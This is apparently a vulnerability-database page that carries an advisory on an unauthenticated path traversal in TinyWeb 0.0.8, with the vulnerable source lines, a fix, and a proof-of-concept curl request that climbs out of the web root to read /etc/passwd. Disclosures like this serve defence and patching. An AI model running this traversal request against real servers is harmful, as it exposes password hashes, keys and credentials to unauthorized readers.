📄 TinyWeb 0.0.8 Path Traversal
| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
| CVE-2026-67185 | 28 Jul 202616:30 | – | attackerkb | |
| CVE-2026-67185 | 28 Jul 202616:30 | – | cve | |
| CVE-2026-67185 TinyWeb 0.0.8 Path Traversal via URL Path Component | 28 Jul 202616:30 | – | cvelist | |
| EUVD-2026-49904 | 28 Jul 202616:30 | – | euvd | |
| CVE-2026-67185 | 28 Jul 202617:17 | – | nvd | |
| PT-2026-65545 | 28 Jul 202600:00 | – | ptsecurity | |
| CVE-2026-67185 TinyWeb 0.0.8 Path Traversal via URL Path Component | 28 Jul 202616:30 | – | vulnrichment |
# Security Advisory: Unauthenticated Path Traversal Allows Arbitrary File Read (TinyWeb)
**Assigned CVE ID:** CVE-2026-67185
## Summary
TinyWeb builds the path of the file to serve by joining the web root with the request URL exactly as it arrives, with no normalization. A remote client that has never authenticated can insert `../` sequences into the request line and read any file the server process can open, including files outside the web root.
## Affected software
- Project: TinyWeb (https://github.com/GeneralSandman/TinyWeb)
- Version reported by the build: `TnyWeb/0.0.8`
- Affected commits: `0b3b5fd` (2019-01-09), where the path is first assembled this way, through `a381da2` (2023-11-22, latest on `master`).
- Fixed version: none. The project has no tagged releases; every published revision in that range is affected.
## Classification
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal")
- CVSS 4.0 base score: 8.7 (High)
- Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`
## Threat model
An unauthenticated remote attacker who can reach the server's listening TCP port (9090 in the shipped configuration). No credentials, no user interaction, and no prior access are required. A single request is enough.
## Technical details
`HttpBuilder::buildResponse()` starts with the configured web root and appends the URL path field straight from the parsed request:
```cpp
// src/tiny_http/http_responser.cc:80
sdsncat(&file_path, server.www.c_str(), server.www.size());
// src/tiny_http/http_responser.cc:83-87
if (url->field_set & (1 << HTTP_UF_PATH)) {
unsigned int off = url->fields[HTTP_UF_PATH].offset;
unsigned int len = url->fields[HTTP_UF_PATH].len;
sdsncat(&file_path, url->data + off, len);
}
// src/tiny_http/http_responser.cc:90-94
std::string f(file_path.data, file_path.len);
file_type = isRegularFile(f);
if (0 == file_type) {
return_val = file->setFile(f); // stat() + open() on the joined path
}
```
Between the join at line 86 and the filesystem call at line 94 there is no dot-segment removal (RFC 3986 section 5.2.4), no `realpath()` canonicalization, and no check that the result stays inside `server.www`.
The URL parser does not filter `..` either. In `HttpParser::parseUrlChar()` the path state accepts any character that passes `isUrlChar()`, and `.` is a valid URL character, so `../` reaches `buildResponse()` unchanged:
```cpp
// src/tiny_http/http_parser.cc:653-654
case s_requ_path: //finished
if (isUrlChar(ch))
return s_requ_path;
```
`HttpFile::setFile()` then opens and serves whatever path was produced, using the privileges of the server process:
```cpp
// src/tiny_http/http_model_file.cc:43
return_val = open(name.c_str(), O_RDONLY);
```
Note: TinyWeb never percent-decodes the URL path, so `%2e%2e%2f` does not work. The literal `../` form does.
## Proof of concept
1. Start the server with the shipped configuration (listening on port 9090, serving from the configured web root).
2. Send a request whose path climbs above the web root. The `--path-as-is` flag stops curl from collapsing the `../` before sending:
```
curl --path-as-is 'http://TARGET:9090/../../../../etc/passwd'
```
3. The server responds `200 OK` with the contents of `/etc/passwd`:
```
HTTP/1.1 200 OK
Server: TinyWeb/0.0.8
Transfer-Encoding: chunked
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```
The number of `../` segments needed depends on how deep the web root sits. Any count at or above the web root depth works, because the kernel ignores `..` at the filesystem root.
## Impact
Any remote client can read any file the server process is allowed to open. In the default setup the workers run as root, so this includes `/etc/shadow`, TLS private keys, configuration files with credentials, and the application's own source under the web root.
## Remediation
Canonicalize the joined path with `realpath()` and reject the request unless the result is inside the configured web root. As defense in depth, remove dot-segments during URL parsing per RFC 3986 section 5.2.4, and percent-decode the path before that normalization runs.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Jul 2026 00:00Current
6Medium risk
Vulners AI Score6
CVSS 3.17.5
CVSS 48.7
EPSS0.00453
SSVC